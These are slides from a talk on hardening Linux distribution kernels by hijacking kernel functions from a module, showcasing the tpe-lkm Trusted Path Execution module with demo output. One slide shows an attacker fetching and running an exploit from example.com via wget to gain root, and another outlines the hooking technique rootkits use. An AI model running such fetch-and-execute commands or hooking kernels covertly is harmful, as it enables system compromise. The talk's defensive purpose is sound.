Distribution Kernel Security Hardening

Because sometimes your vendor just doesn't have the security features that you want.

Corey Henderson

In This Presentation

- Current kernel security systems
- Methods of hijacking linux kernel functions
- A linux security module I wrote, using function hijacking

What is Linux Missing?

- Comprehensive implementation and enforcement of non-executable memory
- ASLR
- Exploit detection and auto-response

- Basically, the stuff in grsecurity / PAX

Give Credit Where Credit is Due

Features back-ported to the RHEL kernel:

- dmesg restriction
- ptracing non-child processes
- disabling kernel modules
- mmap minimum address

- and a few others, here and there

Current Security Frameworks

- SELinux
- AppArmor
- Basically, any LSM

Why do you not use them?

Current Security Frameworks (continued)

They:

- are all exceptionally complicated
- affect the whole system in a way that's hostile to the administrator
- require constant babysitting to keep new development from falling on its face

We Want More Options!

- Trusted Path Execution
- Users can only see their own processes
- Chroot hardening
- Trusted Path Execution
- Randomized kernel symbol addresses
- I could go on all day...

Why we don't have options

- One man's security feature is another man's headache
- Some features you can't toggle on or off
- Compatibility issues with existing software
- Think of the customer support nightmare!

Methods of adding features

Several methods exist to add security features to your kernel:

- kprobes framework
- ksplice
- Hijack kernel functions with a module

Kprobes

- Works in very much the same was as kernel function hijacking
- Phrack Magazine has a great article on how to use it:

  http://www.phrack.org/issues.html?issue=67&i

Ksplice

- Novel way of inserting code changes
- Takes a compiled kernel as input
- Applies code changes, recompiles
- Diffs the object code
- Applies the binary diff in-place in the kernel\
- Some links describing how to use it:

  http://cormander.com/2011/08/how-to-use-the-ksplice-raw-utilities/

  http://cormander.com/2011/06/ksplice-grsec-for-el5/

Oracle Violates the GPL

- GPL code (the linux kernel) is being modified at runtime, and not by using any of the APIs
- The code behind making the ksplice patches is no longer publicly available

- But that's a topic maybe for another presentation :)

Hijack Kernel Functions

- Locate the address of function to hijack
- Copy that function, and fix relative jumps
- Overwrite the start address with a jump code
- Run our own code
- Decide whether or not to call the original function

- http://cormander.com/2011/12/how-to-hook-into-hijack-linux-kernel-functions-via-lkm/

Hijacking not only for Bad Guys

- Historically, kernel hijacking was done by rootkits and other malware
- It's all just code – we make it either “good” or “bad”
- Why not make a security module out of this method?

Trusted Path Execution

A security feature that denies users from executing programs that are not owned by root, or are writable.

This closes the door on a whole category of exploits where a malicious user tries to execute his or her own code to attack a system.

A typical exploit

```
$ whoami
apache
$ cd /tmp
$ wget -q http://example.com/exploit
$ chmod 755 exploit
```

- Without any kind of system hardening:

```
$ ./exploit
Y0v h4ck3d t3h $y$t3m!!! :PPppPPPpPPPppPPppp
# whoami
root
```

A typical exploit (continued)

$ whoami
apache
$ cd /tmp
$ wget -q http://example.com/exploit
$ chmod 755 exploit

- Enter TPE:

$ ./exploit
bash: ./exploit: Permission denied

OMFG teh h4ck no workie!!! Wut 2 do?!?!?!

TPE isn't in Linux

- No distribution has TPE, not even the mainline linux kernel
- You need grsecurity to get this feature

- Or do you? Let's hijack some kernel functions and find out

tpe-lkm

- tpe-lkm is a linux kernel module implementing Trusted Path Execution
- it doesn't use any kind of ACLs
- works out of the box with no configuration
- It hijacks kernel functions in order to work

http://elrepo.org/tiki/kmod-tpe

tpe-lkm (continued)

- Install it and test it out:

```
[corey@localhost ~]$ sudo rpm -ivh kmod-tpe-1.0.3-
    3.el6.elrepo.x86_64.rpm
1:kmod-tpe                ########################################[100%]
[corey@localhost ~]$ cp /bin/true /tmp/fubar
[corey@localhost ~]$ /tmp/fubar
bash: /tmp/fubar: Permission denied
```

- Now look at the resulting log:

```
[corey@localhost ~]$ dmesg
[tpe] Denied untrusted exec of /tmp/fubar (uid:500) by /bin/bash
    (uid:500), /usr/sbin/sshd (uid:500), /usr/sbin/sshd (uid:0), /sbin/init
    (uid:0). Deny reason: directory is writable
```

tpe-lkm (continued)

- Try it out in softmode:

```
[corey@localhost ~]$ sudo sysctl tpe.softmode=1
tpe.softmode = 1
[corey@localhost ~]$ /tmp/fubar
[corey@localhost ~]$ echo $?
0
```

- Now look at the resulting log:

```
[corey@localhost ~]$ dmesg
[tpe] Would deny untrusted exec of /tmp/fubar (uid:500) by /bin/bash
    (uid:500), /usr/sbin/sshd (uid:500), /usr/sbin/sshd (uid:0), /sbin/init
    (uid:0). Deny reason: directory is writable
```

tpe-lkm (continued)

- stop users from viewing kernel modules

```
[corey@localhost ~]$ cat /proc/modules
cat: /proc/modules: Operation not permitted
```

- stop them from viewing /proc/kallsyms

```
[corey@localhost ~]$ cat /proc/kallsyms
cat: /proc/kallsyms: Operation not permitted
```

- stop users from viewing other processes

```
[corey@localhost ~]$ ps auxf
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
corey    19395  0.0  0.7  11424  1780 pts/1    S    13:43   0:00 -bash
corey    19420  0.0  0.4  13352   988 pts/1    R+   13:44   0:00  \_ ps auxf
[corey@localhost ~]$
```

Get Involved

- Code on GitHub:
  https://github.com/cormander/tpe-lkm

- Or email me directly:
  corman@cormander.com

Questions?